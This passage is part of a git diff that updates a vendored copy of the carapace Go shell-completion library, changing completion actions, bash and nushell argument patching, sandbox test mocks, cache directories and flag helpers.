+ case len(values) == 0 && !d.matches(cobra.ShellCompDirectiveNoFileComp):
+ action = ActionFiles()
+ default:
+ vals := make([]string, 0)
+ for _, v := range values {
+ if splitted := strings.SplitN(v, "\t", 2); len(splitted) == 2 {
+ vals = append(vals, splitted[0], splitted[1])
+ } else {
+ vals = append(vals, splitted[0], "")
+ }
+ }
+ action = ActionValuesDescribed(vals...)
+ }
+
+ if d.matches(cobra.ShellCompDirectiveNoSpace) {
+ action = action.NoSpace()
+ }
+
+ return action
+}
diff --git a/vendor/github.com/rsteube/carapace/complete.go b/vendor/github.com/rsteube/carapace/complete.go
index f23efa8f02..b13ed44603 100644
--- a/vendor/github.com/rsteube/carapace/complete.go
+++ b/vendor/github.com/rsteube/carapace/complete.go
@@ -1,41 +1,15 @@
package carapace
import (
- "github.com/rsteube/carapace/internal/common"
+ "os"
+
"github.com/rsteube/carapace/internal/config"
- "github.com/rsteube/carapace/internal/shell/library"
+ "github.com/rsteube/carapace/internal/shell/bash"
+ "github.com/rsteube/carapace/internal/shell/nushell"
"github.com/rsteube/carapace/pkg/ps"
- "github.com/rsteube/carapace/pkg/style"
"github.com/spf13/cobra"
)
-// Complete can be used by Go programs wishing to produce completions for
-// themselves, without passing through shell snippets/output or export formats.
-//
-// The `onFinalize` function parameter, if non nil, will be called after having
-// generated the completions from the given command/tree. This function is generally
-// used to reset the command tree, which is needed when the Go program is a shell itself.
-// Also, and before calling `onFinalize` if not nil, the completion storage is cleared.
-func Complete(cmd *cobra.Command, args []string, onFinalize func()) (common.RawValues, common.Meta) {
- // Generate the completion as normally done for an external system shell
- initHelpCompletion(cmd)
- action, context := traverse(cmd, args[2:])
-
- if err := config.Load(); err != nil {
- action = ActionMessage("failed to load config: " + err.Error())
- }
-
- if onFinalize != nil {
- storage = make(_storage)
-
- onFinalize()
- }
-
- invoked := action.Invoke(context)
-
- return library.ActionRawValues(context.Value, invoked.meta, invoked.rawValues)
-}
-
func complete(cmd *cobra.Command, args []string) (string, error) {
switch len(args) {
case 0:
@@ -44,46 +18,31 @@ func complete(cmd *cobra.Command, args []string) (string, error) {
return Gen(cmd).Snippet(args[0])
default:
initHelpCompletion(cmd)
+
+ switch ps.DetermineShell() {
+ case "nushell":
+ args = nushell.Patch(args) // handle open quotes
+ LOG.Printf("patching args to %#v", args)
+ case "bash": // TODO what about oil and such?
+ LOG.Printf("COMP_LINE is %#v", os.Getenv("COMP_LINE"))
+ LOG.Printf("COMP_POINT is %#v", os.Getenv("COMP_POINT"))
+ var err error
+ args, err = bash.Patch(args) // handle redirects
+ LOG.Printf("patching args to %#v", args)
+ if err != nil {
+ context := NewContext(args...)
+ if _, ok := err.(bash.RedirectError); ok {
+ LOG.Printf("completing redirect target for %#v", args)
+ return ActionFiles().Invoke(context).value(args[0], args[len(args)-1]), nil
+ }
+ return ActionMessage(err.Error()).Invoke(context).value(args[0], args[len(args)-1]), nil
+ }
+ }
+
action, context := traverse(cmd, args[2:])
if err := config.Load(); err != nil {
action = ActionMessage("failed to load config: " + err.Error())
}
-
return action.Invoke(context).value(args[0], args[len(args)-1]), nil
}
}
-
-func internalValues(action InvokedAction, current string, onFinalize func()) (common.RawValues, common.Meta) {
- unsorted := action.rawValues
- sorted := make(common.RawValues, 0)
-
- // Ensure values are sorted.
- unsorted.EachTag(func(_ string, values common.RawValues) {
- vals := make(common.RawValues, len(values))
- for index, val := range values {
- if !action.meta.Nospace.Matches(val.Value) {
- val.Value += " "
- }
- if val.Style != "" {
- val.Style = style.SGR(val.Style)
- }
-
- vals[index] = val
- }
- sorted = append(sorted, vals...)
- })
-
- // Merge/filter completions and meta stuff.
- filtered := sorted.FilterPrefix(current)
- filtered = action.meta.Messages.Integrate(filtered, current)
-
- // Reset the storage (empty all commands) and run the finalize function, which is
- // generally in charge of binding new command instances, with blank flags.
- if onFinalize != nil {
- storage = make(_storage)
-
- onFinalize()
- }
-
- return filtered, action.meta
-}
diff --git a/vendor/github.com/rsteube/carapace/context.go b/vendor/github.com/rsteube/carapace/context.go
index 7f82d1082b..2eed94a3a2 100644
--- a/vendor/github.com/rsteube/carapace/context.go
+++ b/vendor/github.com/rsteube/carapace/context.go
@@ -6,13 +6,13 @@ import (
"os"
"path/filepath"
"strings"
- "unicode"
- "github.com/rsteube/carapace/internal/common"
"github.com/rsteube/carapace/internal/env"
"github.com/rsteube/carapace/internal/shell/zsh"
+ "github.com/rsteube/carapace/pkg/util"
"github.com/rsteube/carapace/third_party/github.com/drone/envsubst"
"github.com/rsteube/carapace/third_party/golang.org/x/sys/execabs"
+ "github.com/spf13/cobra"
)
// Context provides information during completion.
@@ -29,6 +29,7 @@ type Context struct {
Dir string
mockedReplies map[string]string
+ cmd *cobra.Command // needed for ActionCobra
}
// NewContext creates a new context for given arguments.
@@ -47,11 +48,8 @@ func NewContext(args ...string) Context {
context.Dir = wd
}
- isGoRun := func() bool { return strings.HasPrefix(os.Args[0], os.TempDir()+"/go-build") }
- if sandbox := env.Sandbox(); sandbox != "" && isGoRun() {
- var m common.Mock
- _ = json.Unmarshal([]byte(sandbox), &m)
- context.Dir = m.Dir
+ if m, err := env.Sandbox(); err == nil {
+ context.Dir = m.WorkDir()
context.mockedReplies = m.Replies
}
return context
@@ -115,51 +113,16 @@ func expandHome(s string) (string, error) {
if err != nil {
return "", err
}
+ home = filepath.ToSlash(home)
s = strings.Replace(s, "~/", home+"/", 1)
}
return s, nil
}
-func isWindowsVolume(path string) bool {
- if len(path) <= 1 {
- return false
- }
-
- // We need at least two characters,
- // of which the first must be a letter
- // and the second as colon.
- if unicode.IsLetter(rune(path[0])) && path[1] == ':' {
- return true
- }
-
- return false
-}
-
-// windowsDisplayTrimmed returns a trimmed display folder and true if
-// the context value is a Windows volume (absolute path), or nothing and false.
-func windowsDisplayTrimmed(abs, cValue, displayFolder string) (string, bool) {
- if !isWindowsVolume(cValue) {
- return displayFolder, false
- }
-
- // volume name such as C: => displayFolder then becomes C:.
- if !strings.HasSuffix(abs, ".") {
- displayFolder = strings.TrimSuffix(displayFolder, ".")
- }
-
- // If the context value is C:/, the display folder is still C:,
- // so we only add a trailing slash when the context value is C:
- // or if it's C:/Us (eg. longer than the volume root with slash).
- if len(cValue) == 2 || (len(displayFolder) > 3) && !strings.HasSuffix(displayFolder, "/") {
- displayFolder = displayFolder + "/"
- }
-
- return displayFolder, true
-}
-
// Abs returns an absolute representation of path.
func (c Context) Abs(path string) (string, error) {
- if !strings.HasPrefix(path, "/") && !strings.HasPrefix(path, "~") && !isWindowsVolume(path) { // path is relative
+ path = filepath.ToSlash(path)
+ if !strings.HasPrefix(path, "/") && !strings.HasPrefix(path, "~") && !util.HasVolumePrefix(path) { // path is relative
switch c.Dir {
case "":
path = "./" + path
@@ -173,10 +136,14 @@ func (c Context) Abs(path string) (string, error) {
return "", err
}
+ if len(path) == 2 && util.HasVolumePrefix(path) {
+ path += "/" // prevent `C:` -> `C:./current/working/directory`
+ }
result, err := filepath.Abs(path)
if err != nil {
return "", err
}
+ result = filepath.ToSlash(result)
if strings.HasSuffix(path, "/") && !strings.HasSuffix(result, "/") {
result += "/"
diff --git a/vendor/github.com/rsteube/carapace/defaultActions.go b/vendor/github.com/rsteube/carapace/defaultActions.go
index 06a1df3ac3..dc7d28cf00 100644
--- a/vendor/github.com/rsteube/carapace/defaultActions.go
+++ b/vendor/github.com/rsteube/carapace/defaultActions.go
@@ -11,8 +11,10 @@ import (
"github.com/rsteube/carapace/internal/common"
"github.com/rsteube/carapace/internal/config"
+ "github.com/rsteube/carapace/internal/env"
"github.com/rsteube/carapace/internal/export"
"github.com/rsteube/carapace/internal/man"
+ "github.com/rsteube/carapace/pkg/match"
"github.com/rsteube/carapace/pkg/style"
"github.com/rsteube/carapace/third_party/github.com/acarl005/stripansi"
"github.com/spf13/cobra"
@@ -24,7 +26,7 @@ func ActionCallback(callback CompletionCallback) Action {
return Action{callback: callback}
}
-// ActionExecCommand invokes given command and transforms its output using given function on success or returns ActionMessage with the first line of stderr if available.
+// ActionExecCommand executes an external command.
//
// carapace.ActionExecCommand("git", "remote")(func(output []byte) carapace.Action {
// lines := strings.Split(string(output), "\n")
@@ -64,6 +66,7 @@ func ActionExecCommandE(name string, arg ...string) func(f func(output []byte, e
cmd := c.Command(name, arg...)
cmd.Stdout = &stdout
cmd.Stderr = &stderr
+ LOG.Printf("executing %#v", cmd.String())
if err := cmd.Run(); err != nil {
if exitErr, ok := err.(*exec.ExitError); ok {
exitErr.Stderr = stderr.Bytes() // seems this needs to be set manually due to stdout being collected?
@@ -204,32 +207,58 @@ func ActionMessage(msg string, args ...interface{}) Action {
if len(args) > 0 {
msg = fmt.Sprintf(msg, args...)
}
- a := ActionValues().NoSpace()
+ a := ActionValues()
a.meta.Messages.Add(stripansi.Strip(msg))
return a
})
}
-// ActionMultiParts completes multiple parts of words separately where each part is separated by some char (Context.Value is set to the currently completed part during invocation).
-func ActionMultiParts(divider string, callback func(c Context) Action) Action {
+// ActionMultiParts completes parts of an argument separated by sep.
+func ActionMultiParts(sep string, callback func(c Context) Action) Action {
+ return ActionMultiPartsN(sep, -1, callback)
+}
+
+// ActionMultiPartsN is like ActionMultiParts but limits the number of parts to `n`.
+func ActionMultiPartsN(sep string, n int, callback func(c Context) Action) Action {
return ActionCallback(func(c Context) Action {
- index := strings.LastIndex(c.Value, string(divider))
- prefix := ""
- if len(divider) == 0 {
- prefix = c.Value
- c.Value = ""
- } else if index != -1 {
- prefix = c.Value[0 : index+len(divider)]
- c.Value = c.Value[index+len(divider):] // update Context.Value to only contain the currently completed part
+ switch n {
+ case 0:
+ return ActionMessage("invalid value for n [ActionValuesDescribed]: %v", n)
+ case 1:
+ return callback(c).Invoke(c).ToA()
}
- parts := strings.Split(prefix, string(divider))
- if len(parts) > 0 && len(divider) > 0 {
- parts = parts[0 : len(parts)-1]
+
+ splitted := strings.SplitN(c.Value, sep, n)
+ prefix := ""
+ c.Parts = []string{}
+
+ switch {
+ case len(sep) == 0:
+ switch {
+ case n < 0:
+ prefix = c.Value
+ c.Value = ""
+ c.Parts = splitted
+ default:
+ prefix = c.Value
+ if n-1 < len(prefix) {
+ prefix = c.Value[:n-1]
+ c.Value = c.Value[n-1:]
+ } else {
+ c.Value = ""
+ }
+ c.Parts = strings.Split(prefix, "")
+ }
+ default:
+ if len(splitted) > 1 {
+ c.Value = splitted[len(splitted)-1]
+ c.Parts = splitted[:len(splitted)-1]
+ prefix = strings.Join(c.Parts, sep) + sep
+ }
}
- c.Parts = parts
nospace := '*'
- if runes := []rune(divider); len(runes) > 0 {
+ if runes := []rune(sep); len(runes) > 0 {
nospace = runes[len(runes)-1]
}
return callback(c).Invoke(c).Prefix(prefix).ToA().NoSpace(nospace)
@@ -266,7 +295,7 @@ func ActionStyleConfig() Action {
})
case 1:
return ActionMultiParts(",", func(c Context) Action {
- return ActionStyles(c.Parts...).Invoke(c).Filter(c.Parts).ToA().NoSpace()
+ return ActionStyles(c.Parts...).Invoke(c).Filter(c.Parts...).ToA().NoSpace()
})
default:
return ActionValues()
@@ -388,7 +417,7 @@ func ActionStyles(styles ...string) Action {
style.Inverse, _s(style.Inverse),
))
- return batch.ToA()
+ return batch.ToA().NoSpace('r')
}).Tag("styles")
}
@@ -414,7 +443,7 @@ func actionDirectoryExecutables(dir string, prefix string, manDescriptions map[s
if files, err := os.ReadDir(dir); err == nil {
vals := make([]string, 0)
for _, f := range files {
- if strings.HasPrefix(f.Name(), prefix) {
+ if match.HasPrefix(f.Name(), prefix) {
if info, err := f.Info(); err == nil && !f.IsDir() && isExecAny(info.Mode()) {
vals = append(vals, f.Name(), manDescriptions[f.Name()], style.ForPath(dir+"/"+f.Name(), c))
}
@@ -445,10 +474,66 @@ func ActionPositional(cmd *cobra.Command) Action {
c.Args = cmd.Flags().Args()
entry := storage.get(cmd)
- a := entry.positionalAny
+ var a Action
+ if entry.positionalAny != nil {
+ a = *entry.positionalAny
+ }
+
if index := len(c.Args); index < len(entry.positional) {
a = entry.positional[len(c.Args)]
}
return a.Invoke(c).ToA()
})
}
+
+// ActionCommands completes (sub)commands of given command.
+// `Context.Args` is used to traverse the command tree further down. Use `Action.Shift` to avoid this.
+//
+// carapace.Gen(helpCmd).PositionalAnyCompletion(
+// carapace.ActionCommands(rootCmd),
+// )
+func ActionCommands(cmd *cobra.Command) Action {
+ return ActionCallback(func(c Context) Action {
+ if len(c.Args) > 0 {
+ for _, subCommand := range cmd.Commands() {
+ for _, name := range append(subCommand.Aliases, subCommand.Name()) {
+ if name == c.Args[0] { // cmd.Find is too lenient
+ return ActionCommands(subCommand).Shift(1)
+ }
+ }
+ }
+ return ActionMessage("unknown subcommand %#v for %#v", c.Args[0], cmd.Name())
+ }
+
+ batch := Batch()
+ for _, subcommand := range cmd.Commands() {
+ if (!subcommand.Hidden || env.Hidden()) && subcommand.Deprecated == "" {
+ group := common.Group{Cmd: subcommand}
+ batch = append(batch, ActionStyledValuesDescribed(subcommand.Name(), subcommand.Short, group.Style()).Tag(group.Tag()))
+ for _, alias := range subcommand.Aliases {
+ batch = append(batch, ActionStyledValuesDescribed(alias, subcommand.Short, group.Style()).Tag(group.Tag()))
+ }
+ }
+ }
+ return batch.ToA()
+ })
+}
+
+// ActionCora bridges given cobra completion function.
+func ActionCobra(f func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective)) Action {
+ return ActionCallback(func(c Context) Action {
+ switch {
+ case f == nil:
+ return ActionValues()
+ case c.cmd == nil: // ensure cmd is never nil even if context does not contain one
+ LOG.Print("cmd is nil [ActionCobra]")
+ c.cmd = &cobra.Command{Use: "_carapace_actioncobra", Hidden: true, Deprecated: "dummy command for ActionCobra"}
+ }
+
+ if !c.cmd.DisableFlagParsing {
+ c.Args = c.cmd.Flags().Args()
+ }
+ values, directive := f(c.cmd, c.Args, c.Value)
+ return compDirective(directive).ToA(values...)
+ })
+}
diff --git a/vendor/github.com/rsteube/carapace/experimental.go b/vendor/github.com/rsteube/carapace/experimental.go
new file mode 100644
index 0000000000..4d0645c9f1
--- /dev/null
+++ b/vendor/github.com/rsteube/carapace/experimental.go
@@ -0,0 +1,32 @@
+package carapace
+
+import (
+ "encoding/json"
+
+ "github.com/rsteube/carapace/internal/config"
+ "github.com/rsteube/carapace/internal/export"
+ "github.com/rsteube/carapace/pkg/x"
+ "github.com/spf13/cobra"
+)
+
+func init() {
+ x.ClearStorage = func() {
+ storage = make(_storage)
+ }
+
+ x.Complete = func(cmd *cobra.Command, args ...string) (*export.Export, error) {
+ initHelpCompletion(cmd)
+ action, context := traverse(cmd, args[2:])
+
+ if err := config.Load(); err != nil {
+ return nil, err
+ }
+
+ output := action.Invoke(context).value("export", "")
+ var e export.Export
+ if err := json.Unmarshal([]byte(output), &e); err != nil {
+ return nil, err
+ }
+ return &e, nil
+ }
+}
diff --git a/vendor/github.com/rsteube/carapace/go.work.sum b/vendor/github.com/rsteube/carapace/go.work.sum
index 46640fbe2a..8464a61119 100644
--- a/vendor/github.com/rsteube/carapace/go.work.sum
+++ b/vendor/github.com/rsteube/carapace/go.work.sum
@@ -1,7 +1,13 @@
+github.com/cpuguy83/go-md2man/v2 v2.0.2 h1:p1EgwI/C7NhT0JmVkwCD2ZBK8j4aeHQX2pMHHBfMQ6w=
+github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/rsteube/carapace-pflag v0.0.4 h1:Onb0cLNLxg1xJr2EsMlBldAI5KkybrvZ89b5cRElZXI=
github.com/rsteube/carapace-pflag v0.0.4/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/rsteube/carapace-pflag v0.0.5 h1:QQC0KnthHMayHsX7B7DxqOkr0B6JSIM0glB+KrSTruU=
github.com/rsteube/carapace-pflag v0.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/rsteube/carapace-pflag v0.1.0 h1:CPJRlj3jbyOnxuMf5pdrM76hEwdQ0STDDmkAHQcGbhg=
github.com/rsteube/carapace-pflag v0.1.0/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
-gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
+github.com/rsteube/carapace-shlex v0.0.1 h1:8uvsc+ISKw7uoITSp92nNisFUOulYMz+Uu7N5nbHTiM=
+github.com/rsteube/carapace-shlex v0.0.1/go.mod h1:zPw1dOFwvLPKStUy9g2BYKanI6bsQMATzDMYQQybo3o=
+github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=
+github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0=
+github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho=
diff --git a/vendor/github.com/rsteube/carapace/internal/cache/cache.go b/vendor/github.com/rsteube/carapace/internal/cache/cache.go
index e90ab03bbb..02252a7995 100644
--- a/vendor/github.com/rsteube/carapace/internal/cache/cache.go
+++ b/vendor/github.com/rsteube/carapace/internal/cache/cache.go
@@ -11,6 +11,7 @@ import (
"strings"
"time"
+ "github.com/rsteube/carapace/internal/env"
"github.com/rsteube/carapace/internal/export"
"github.com/rsteube/carapace/internal/uid"
"github.com/rsteube/carapace/pkg/cache"
@@ -21,7 +22,7 @@ import (
func Write(file string, e export.Export) (err error) {
var m []byte
if m, err = json.Marshal(e); err == nil {
- err = os.WriteFile(file, m, 0o600)
+ err = os.WriteFile(file, m, 0600)
}
return
}
@@ -29,7 +30,7 @@ func Write(file string, e export.Export) (err error) {
// Load loads values from file unless modification date exceeds timeout.
func Load(file string, timeout time.Duration) (e export.Export, err error) {
var stat os.FileInfo
- if stat, err = os.Stat(file); os.IsNotExist(err) || (timeout > 0 && stat.ModTime().Add(timeout).Before(time.Now())) {
+ if stat, err = os.Stat(file); os.IsNotExist(err) || (timeout >= 0 && stat.ModTime().Add(timeout).Before(time.Now())) {
err = errors.New("not exists or timeout exceeded")
} else {
var content []byte
@@ -43,15 +44,22 @@ func Load(file string, timeout time.Duration) (e export.Export, err error) {
// CacheDir creates a cache folder for current user and returns the path.
func CacheDir(name string) (dir string, err error) {
var userCacheDir string
- if userCacheDir, err = xdg.UserCacheDir(); err == nil {
- dir = fmt.Sprintf("%v/carapace/%v/%v", userCacheDir, uid.Executable(), name)
- err = os.MkdirAll(dir, 0o700)
+ userCacheDir, err = xdg.UserCacheDir()
+ if err != nil {
+ return
}
+
+ if m, sandboxErr := env.Sandbox(); sandboxErr == nil {
+ userCacheDir = m.CacheDir()
+ }
+
+ dir = fmt.Sprintf("%v/carapace/%v/%v", userCacheDir, uid.Executable(), name)
+ err = os.MkdirAll(dir, 0700)
return
}
// File returns the cache filename for given values
-// TODO cleanup.
+// TODO cleanup
func File(callerFile string, callerLine int, keys ...cache.Key) (file string, err error) {
uid := uidKeys(callerFile, strconv.Itoa(callerLine))
ids := make([]string, 0)
diff --git a/vendor/github.com/rsteube/carapace/internal/common/group.go b/vendor/github.com/rsteube/carapace/internal/common/group.go
index a5230ddf95..c0bd65e024 100644
--- a/vendor/github.com/rsteube/carapace/internal/common/group.go
+++ b/vendor/github.com/rsteube/carapace/internal/common/group.go
@@ -1,7 +1,6 @@
package common
import (
- "fmt"
"strings"
"github.com/rsteube/carapace/pkg/style"
@@ -13,17 +12,17 @@ type Group struct {
}
func (g Group) Tag() string {
- tag := "commands"
- if id := g.Cmd.GroupID; id != "" {
- if strings.HasSuffix(id, "commands") {
- tag = id
- } else {
- tag = fmt.Sprintf("%v %v", id, tag)
- }
- } else if len(g.Cmd.Parent().Groups()) != 0 {
- tag = "other commands"
+ id := strings.ToLower(g.Cmd.GroupID)
+ switch {
+ case strings.HasSuffix(id, " commands"):
+ return id
+ case id != "":
+ return id + " commands"
+ case len(g.Cmd.Parent().Groups()) != 0:
+ return "other commands"
+ default:
+ return "commands"
}
- return tag
}
func (g Group) Style() string {
diff --git a/vendor/github.com/rsteube/carapace/internal/common/mock.go b/vendor/github.com/rsteube/carapace/internal/common/mock.go
index 8ef8dd9c82..ad9edd29a8 100644
--- a/vendor/github.com/rsteube/carapace/internal/common/mock.go
+++ b/vendor/github.com/rsteube/carapace/internal/common/mock.go
@@ -1,6 +1,43 @@
package common
+import (
+ "fmt"
+ "os"
+)
+
type Mock struct {
Dir string
Replies map[string]string
}
+
+func (m Mock) CacheDir() string {
+ return m.Dir + "/cache/"
+}
+
+func (m Mock) WorkDir() string {
+ return m.Dir + "/work/"
+}
+
+type t interface {
+ Name() string
+ Fatal(...interface{})
+}
+
+func NewMock(t t) *Mock {
+ tempDir, err := os.MkdirTemp(os.TempDir(), fmt.Sprintf("carapace-sandbox_%v_", t.Name()))
+ if err != nil {
+ t.Fatal("failed to create sandbox dir: " + err.Error())
+ }
+
+ m := &Mock{
+ Dir: tempDir,
+ Replies: make(map[string]string),
+ }
+ if err := os.Mkdir(m.CacheDir(), os.ModePerm); err != nil {
+ t.Fatal("failed to create sandbox cache dir: " + err.Error())
+ }
+ if err := os.Mkdir(m.WorkDir(), os.ModePerm); err != nil {
+ t.Fatal("failed to create sandbox work dir: " + err.Error())
+ }
+ return m
+}
diff --git a/vendor/github.com/rsteube/carapace/internal/common/suffix.go b/vendor/github.com/rsteube/carapace/internal/common/suffix.go
index d4ae4b92b0..615f820e97 100644
--- a/vendor/github.com/rsteube/carapace/internal/common/suffix.go
+++ b/vendor/github.com/rsteube/carapace/internal/common/suffix.go
@@ -41,10 +41,6 @@ func (sm SuffixMatcher) Matches(s string) bool {
return false
}
-func (sm SuffixMatcher) String() string {
- return sm.string
-}
-
func (sm SuffixMatcher) MarshalJSON() ([]byte, error) {
return json.Marshal(sm.string)
}
diff --git a/vendor/github.com/rsteube/carapace/internal/common/value.go b/vendor/github.com/rsteube/carapace/internal/common/value.go
index 75c88184bb..724430a364 100644
--- a/vendor/github.com/rsteube/carapace/internal/common/value.go
+++ b/vendor/github.com/rsteube/carapace/internal/common/value.go
@@ -5,6 +5,7 @@ import (
"sort"
"strings"
+ "github.com/rsteube/carapace/pkg/match"
"github.com/rsteube/carapace/pkg/style"
)
@@ -82,6 +83,21 @@ func (r RawValues) Filter(values ...string) RawValues {
return filtered
}
+// Retain retains given values.
+func (r RawValues) Retain(values ...string) RawValues {
+ toretain := make(map[string]bool)
+ for _, v := range values {
+ toretain[v] = true
+ }
+ filtered := make([]RawValue, 0)
+ for _, rawValue := range r {
+ if _, ok := toretain[rawValue.Value]; ok {
+ filtered = append(filtered, rawValue)
+ }
+ }
+ return filtered
+}
+
// Decolor clears style for all values.
func (r RawValues) Decolor() RawValues {
rawValues := make(RawValues, len(r))
@@ -96,7 +112,7 @@ func (r RawValues) Decolor() RawValues {
func (r RawValues) FilterPrefix(prefix string) RawValues {
filtered := make(RawValues, 0)
for _, r := range r {
- if strings.HasPrefix(r.Value, prefix) {
+ if match.HasPrefix(r.Value, prefix) {
filtered = append(filtered, r)
}
}
@@ -104,20 +120,18 @@ func (r RawValues) FilterPrefix(prefix string) RawValues {
}
func (r RawValues) EachTag(f func(tag string, values RawValues)) {
- tags := make([]string, 0)
tagGroups := make(map[string]RawValues)
for _, val := range r {
if _, exists := tagGroups[val.Tag]; !exists {
tagGroups[val.Tag] = make(RawValues, 0)
- tags = append(tags, val.Tag)
}
tagGroups[val.Tag] = append(tagGroups[val.Tag], val)
}
- // tags := make([]string, 0)
- // for tag := range tagGroups {
- // tags = append(tags, tag)
- // }
+ tags := make([]string, 0)
+ for tag := range tagGroups {
+ tags = append(tags, tag)
+ }
sort.Strings(tags)
for _, tag := range tags {
diff --git a/vendor/github.com/rsteube/carapace/internal/env/env.go b/vendor/github.com/rsteube/carapace/internal/env/env.go
index 134f5ce079..8f5a62cc53 100644
--- a/vendor/github.com/rsteube/carapace/internal/env/env.go
+++ b/vendor/github.com/rsteube/carapace/internal/env/env.go
@@ -1,23 +1,62 @@
package env
-import "os"
+import (
+ "encoding/json"
+ "errors"
+ "os"
+ "strings"
+
+ "github.com/rsteube/carapace/internal/common"
+)
+
+const (
+ CARAPACE_COVERDIR = "CARAPACE_COVERDIR" // coverage directory for sandbox tests
+ CARAPACE_HIDDEN = "CARAPACE_HIDDEN" // show hidden commands/flags
+ CARAPACE_LENIENT = "CARAPACE_LENIENT" // allow unknown flags
+ CARAPACE_LOG = "CARAPACE_LOG" // enable logging
+ CARAPACE_MATCH = "CARAPACE_MATCH" // match case insensitive
+ CARAPACE_SANDBOX = "CARAPACE_SANDBOX" // mock context for sandbox tests
+ CARAPACE_ZSH_HASH_DIRS = "CARAPACE_ZSH_HASH_DIRS" // zsh hash directories
+ CLICOLOR = "CLICOLOR" // disable color
+ NO_COLOR = "NO_COLOR" // disable color
+)
func ColorDisabled() bool {
- return os.Getenv("NO_COLOR") != "" || os.Getenv("CLICOLOR") == "0"
+ return os.Getenv(NO_COLOR) != "" || os.Getenv(CLICOLOR) == "0"
}
func Lenient() bool {
- return os.Getenv("CARAPACE_LENIENT") != ""
+ return os.Getenv(CARAPACE_LENIENT) != ""
}
func Hashdirs() string {
- return os.Getenv("CARAPACE_ZSH_HASH_DIRS")
+ return os.Getenv(CARAPACE_ZSH_HASH_DIRS)
}
-func Sandbox() string {
- return os.Getenv("CARAPACE_SANDBOX")
+func Sandbox() (m *common.Mock, err error) {
+ sandbox := os.Getenv(CARAPACE_SANDBOX)
+ if sandbox == "" || !isGoRun() {
+ return nil, errors.New("no sandbox")
+ }
+
+ err = json.Unmarshal([]byte(sandbox), &m)
+ return
}
func Log() bool {
- return os.Getenv("CARAPACE_LOG") != ""
+ return os.Getenv(CARAPACE_LOG) != ""
+}
+
+func Hidden() bool {
+ return os.Getenv(CARAPACE_HIDDEN) != ""
+}
+
+func CoverDir() string {
+ return os.Getenv(CARAPACE_COVERDIR) // custom env for GOCOVERDIR so that it works together with `-coverprofile`
+}
+
+func isGoRun() bool { return strings.HasPrefix(os.Args[0], os.TempDir()+"/go-build") }
+
+func Match() string { // see match.Match
+ return os.Getenv(CARAPACE_MATCH)
}
diff --git a/vendor/github.com/rsteube/carapace/internal/pflagfork/flag.go b/vendor/github.com/rsteube/carapace/internal/pflagfork/flag.go
index 1fb3ff5fbd..79465df79c 100644
--- a/vendor/github.com/rsteube/carapace/internal/pflagfork/flag.go
+++ b/vendor/github.com/rsteube/carapace/internal/pflagfork/flag.go
@@ -6,6 +6,7 @@ import (
"strings"
"github.com/rsteube/carapace/pkg/style"
+ "github.com/spf13/cobra"
"github.com/spf13/pflag"
)
@@ -20,6 +21,8 @@ const (
type Flag struct {
*pflag.Flag
+ Prefix string
+ Args []string
}
func (f Flag) Nargs() int {
@@ -52,53 +55,6 @@ func (f Flag) IsRepeatable() bool {
return false
}
-func (f Flag) Split(arg string) (prefix, optarg string) {
- delimiter := string(f.OptargDelimiter())
- splitted := strings.SplitN(arg, delimiter, 2)
- return splitted[0] + delimiter, splitted[1]
-}
-
-func (f Flag) Matches(arg string, posix bool) bool {
- if !strings.HasPrefix(arg, "-") { // not a flag
- return false
- }
-
- switch {
-
- case strings.HasPrefix(arg, "--"):
- name := strings.TrimPrefix(arg, "--")
- name = strings.SplitN(name, string(f.OptargDelimiter()), 2)[0]
-
- switch f.Mode() {
- case ShorthandOnly, NameAsShorthand:
- return false
- default:
- return name == f.Name
- }
-
- case !posix:
- name := strings.TrimPrefix(arg, "-")
- name = strings.SplitN(name, string(f.OptargDelimiter()), 2)[0]
-
- if name == "" {
- return false
- }
-
- switch f.Mode() {
- case ShorthandOnly:
- return name == f.Shorthand
- default:
- return name == f.Name || name == f.Shorthand
- }
-
- default:
- if f.Shorthand != "" {
- return strings.HasSuffix(arg, f.Shorthand)
- }
- return false
- }
-}
-
func (f Flag) TakesValue() bool {
switch f.Value.Type() {
case "bool", "boolSlice", "count":
@@ -125,6 +81,13 @@ func (f Flag) Style() string {
}
}
+func (f Flag) Required() bool {
+ if annotation := f.Annotations[cobra.BashCompOneRequiredFlag]; len(annotation) == 1 && annotation[0] == "true" {
+ return true
+ }
+ return false
+}
+
func (f Flag) Definition() string {
var definition string
switch f.Mode() {
@@ -141,6 +104,14 @@ func (f Flag) Definition() string {
}
}
+ if f.Hidden {
+ definition += "&"
+ }
+
+ if f.Required() {
+ definition += "!"
+ }
+
if f.IsRepeatable() {
definition += "*"
}
@@ -158,3 +129,22 @@ func (f Flag) Definition() string {
return definition
}
+
+func (f Flag) Consumes(arg string) bool {
+ switch {
+ case f.Flag == nil:
+ return false
+ case !f.TakesValue():
+ return false
+ case f.IsOptarg():
+ return false
+ case len(f.Args) == 0:
+ return true
+ case f.Nargs() > 1 && len(f.Args) < f.Nargs():
+ return true
+ case f.Nargs() < 0 && !strings.HasPrefix(arg, "-"):
+ return true
+ default:
+ return false
+ }
+}
diff --git a/vendor/github.com/rsteube/carapace/internal/pflagfork/flagset.go b/vendor/github.com/rsteube/carapace/internal/pflagfork/flagset.go
index 53b3aaecd5..17077ebf07 100644
--- a/vendor/github.com/rsteube/carapace/internal/pflagfork/flagset.go
+++ b/vendor/github.com/rsteube/carapace/internal/pflagfork/flagset.go
@@ -12,6 +12,13 @@ type FlagSet struct {
*pflag.FlagSet
}
+func (f FlagSet) IsInterspersed() bool {
+ if fv := reflect.ValueOf(f.FlagSet).Elem().FieldByName("interspersed"); fv.IsValid() {
+ return fv.Bool()
+ }
+ return false
+}
+
